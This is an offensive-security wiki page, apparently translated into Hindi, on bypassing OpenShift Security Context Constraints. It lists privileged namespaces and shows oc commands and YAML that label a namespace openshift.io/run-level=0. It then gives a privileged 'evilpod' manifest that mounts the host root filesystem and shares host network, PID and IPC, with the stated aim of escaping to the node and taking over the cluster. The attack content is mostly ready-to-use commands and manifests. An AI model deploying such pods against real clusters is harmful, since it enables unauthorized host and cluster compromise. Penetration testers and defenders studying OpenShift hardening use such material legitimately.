Openshift - SCC bypass

Reading time: 5 minutes

इस पृष्ठ के मूल लेखक हैं Guillaume

Privileged Namespaces

डिफ़ॉल्ट रूप से, SCC निम्नलिखित परियोजनाओं पर लागू नहीं होता है:

• default
• kube-system
• kube-public
• openshift-node
• openshift-infra
• openshift

यदि आप इन नामस्थान में से किसी एक के भीतर पॉड तैनात करते हैं, तो कोई SCC लागू नहीं होगा, जिससे विशेषाधिकार प्राप्त पॉड्स की तैनाती या होस्ट फ़ाइल सिस्टम को माउंट करने की अनुमति मिलेगी।

Namespace Label

RedHat दस्तावेज़ के अनुसार, आपके पॉड पर SCC एप्लिकेशन को अक्षम करने का एक तरीका है। आपको निम्नलिखित में से कम से कम एक अनुमति होनी चाहिए:

• एक Namespace बनाना और इस Namespace पर एक Pod बनाना
• एक Namespace संपादित करना और इस Namespace पर एक Pod बनाना

$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes

विशिष्ट लेबल openshift.io/run-level उपयोगकर्ताओं को अनुप्रयोगों के लिए SCCs को दरकिनार करने की अनुमति देता है। RedHat दस्तावेज़ के अनुसार, जब इस लेबल का उपयोग किया जाता है, तो उस नामस्थान के भीतर सभी पॉड्स पर कोई SCCs लागू नहीं होते हैं, प्रभावी रूप से किसी भी प्रतिबंध को हटा देते हैं।

लेबल जोड़ें

अपने नामस्थान में लेबल जोड़ने के लिए:

$ oc label ns MYNAMESPACE openshift.io/run-level=0

YAML फ़ाइल के माध्यम से लेबल के साथ एक नामस्थान बनाने के लिए:

apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0

अब, नामस्थान पर बनाए गए सभी नए पॉड्स के पास कोई SCC नहीं होना चाहिए

$ oc get pod -o yaml | grep 'openshift.io/scc'
$

SCC की अनुपस्थिति में, आपके पॉड परिभाषा पर कोई प्रतिबंध नहीं हैं। इसका मतलब है कि एक दुर्भावनापूर्ण पॉड को आसानी से बनाया जा सकता है ताकि वह होस्ट सिस्टम पर भाग सके।

apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:

अब, होस्ट सिस्टम तक पहुंच के लिए विशेषाधिकार बढ़ाना और इसके बाद पूरे क्लस्टर पर नियंत्रण प्राप्त करना, 'cluster-admin' विशेषाधिकार प्राप्त करना आसान हो गया है। निम्नलिखित पृष्ठ में Node-Post Exploitation भाग देखें:

Attacking Kubernetes from inside a Pod

कस्टम लेबल

इसके अलावा, लक्षित सेटअप के आधार पर, कुछ कस्टम लेबल / एनोटेशन का उपयोग पिछले हमले के परिदृश्य के समान किया जा सकता है। भले ही यह इसके लिए नहीं बनाया गया हो, लेबल का उपयोग अनुमतियाँ देने, किसी विशेष संसाधन को प्रतिबंधित करने या न करने के लिए किया जा सकता है।

यदि आप कुछ संसाधनों को पढ़ सकते हैं तो कस्टम लेबल की तलाश करें। यहाँ कुछ दिलचस्प संसाधनों की सूची है:

• Pod
• Deployment
• Namespace
• Service
• Route

$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

सभी विशेषाधिकार प्राप्त नामस्थान सूचीबद्ध करें

$ oc get project -o yaml | grep 'run-level' -b5

Advanced exploit

OpenShift में, जैसा कि पहले दिखाया गया है, openshift.io/run-level लेबल के साथ एक namespace में pod को तैनात करने की अनुमति होना क्लस्टर का सीधा अधिग्रहण करने की ओर ले जा सकता है। क्लस्टर सेटिंग्स के दृष्टिकोण से, यह कार्यक्षमता निष्क्रिय नहीं की जा सकती, क्योंकि यह OpenShift के डिज़ाइन में अंतर्निहित है।

हालांकि, Open Policy Agent GateKeeper जैसी रोकथाम उपाय उपयोगकर्ताओं को इस लेबल को सेट करने से रोक सकते हैं।

GateKeeper के नियमों को बायपास करने और इस लेबल को सेट करने के लिए क्लस्टर अधिग्रहण को निष्पादित करने के लिए, हमलावरों को वैकल्पिक तरीकों की पहचान करनी होगी।

References

• https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html
• https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html
• https://github.com/open-policy-agent/gatekeeper